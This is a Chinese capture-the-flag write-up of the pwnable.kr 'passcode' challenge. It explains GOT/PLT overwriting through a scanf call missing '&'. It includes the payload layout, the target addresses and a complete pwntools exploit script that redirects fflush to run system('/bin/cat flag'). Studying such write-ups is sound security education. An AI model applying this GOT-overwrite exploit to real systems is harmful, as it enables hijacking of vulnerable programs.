前言
初学C语言时,大家有没有遇到过这样的情景?
int a;
scanf("%d",a);
在使用scanf()函数时,忘记加取地址符号&.
结果程序报错,debug了半天,恍然发现,原来是忘记加坑爹的&。
本文通过讲解一道pwnable.kr上的got表覆写题目,详细的解读GOT覆写技术,讲一讲scanf不加&到底有多坑。
知识补充
GOT表:
概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。
作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。
PLT表:
过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目
当main()函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。
动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.
GOT覆写技术:
原理:由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。
以上姿势来源: http://jing0107.lofter.com/post/1cbc869f_8b3d8a5
题目
题目地址:http://pwnable.kr/
linux下用ssh去连pwnable的服务器,密码是guest
$ ssh passcode@pwnable.kr -p2222
windows下可以用putty去连接
题目源码
题目分析
首先这段源代码中3个函数:main()、login()、welcome()。
main()函数中先调用了welcome(),然后调用了login(),剩下的只是打印一些信息,没有卵用。welcome()做的事情是用scanf()获取用户的名字,然后打印它,也没有什么用。所以这题的重点就在于login()函数了。
login()函数中,先后调用scanf()获取用户输入的两个passcode然后分别与338150和13371337作比较,如果相等的话,便会打印flag。这程序设计的逻辑似乎没啥问题,但是仔细一看,发现这里:
scanf("%d",passcode1);中passcode1没有加取地址符号&
如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址
漏洞就发生在这里,我们可以利用上面提到的GOT覆写技术攻击这个程序。
解题思路
将一个GOT表中的函数地址写到栈中,用来充当scanf()取的地址,然后把system("/bin/cat flag")这条指令的地址写到这个GOT表中的函数。
当这个函数被调用时,就会直接执行system("/bin/cat flag")
解题过程
反汇编一下login()可以看到,fflush()将会在有漏洞的scanf()函数之后被调用,所以我们选择覆写fflush()在GOT表中的内容,让程序执行到上图高亮的地方的时候去执行system("/bin/cat flag")。
在上图中还可以找到system("/bin/cat flag")对应汇编代码开始于0x80485e3(这里有两条指令,第一条将参数"/bin/cat flag"入栈,第二条调用system())
也就是说要把0x80485e3这个值写入fflush()中
现在查看一下GOT表中fflush()的位置,很多方法可以查看elf文件的GOT表,这里说两个常用的命令:
$ readelf -r target_elf
或者
$ objdump -R target_elf
查询结果如下:
fflush()位于0x0804a004
现在我们明确了攻击的方式,以数据0x80485e3覆写位于0x0804a004的fflush()函数的GOT表
之后要做的就是在栈中构造这些信息,不难发现welocome()和login()使用的是同一个EBP,如图:
如下图,name位于ebp-0x70,passcode1位于ebp-0x10:
0x70 - 0x10 = 96,也就是说name这个字符串第96个字节后的4字节数据将会被作为passcode1的地址。
最终我们的payload为:
"A" * 96 + p32(fflush_got) + str(0x80485e3)
这里要注意0x80485e3要转换成十进制输入,因为scanf()以%d读取数据。
攻击后效果如图:
解题脚本
#!/usr/bin/python
from pwn import *
target = process('/home/passcode/passcode')
fflush_got = 0x0804a004
system_addr = 0x80485e3
payload = "A" * 96 + p32(fflush_got) + str(system_addr)
target.send(payload)
target.interactive()
More
scanf()如果忘记加取地址符号&,程序就会从栈中选取一个4字节数据充当这个地址,这点可能比较难以理解,下面用GDB展示一下这个过程。
未被攻击
下图是正常情况下(未被攻击) 有漏洞的scanf()函数将参数入栈时的情况:
栈的情况:
我们可以看到scanf()的两个参数arg[0] = "%d",arg[1] = 0xffffcfc4。
相当于:
scanf("%d",0xffffcfc4);
来看看fflush()执行时的情况:
正常的执行没有什么问题。
被攻击
再看一下我们将fflush()在GOT表中的地址写入栈中时(被攻击),有漏洞的scanf()函数将参数入栈的情况:
栈的情况:
我们可以看到scanf()的两个参数arg[0] = "%d",arg[1] = 0x804a004。
原本应该随机取的地址,被我们修改成为了一个特定的值
这时,scanf函数相当于:
scanf("%d",fflush@plt());
现在再来看看fflush()执行时的情况:
已经跳到了某个神奇的地方了:)

本文通过一个具体的pwnable.kr题目,详细解析了如何利用GOT表覆写技术来攻击存在scanf()函数未正确使用取地址符号漏洞的程序,并成功获取flag。

被折叠的 条评论
为什么被折叠?



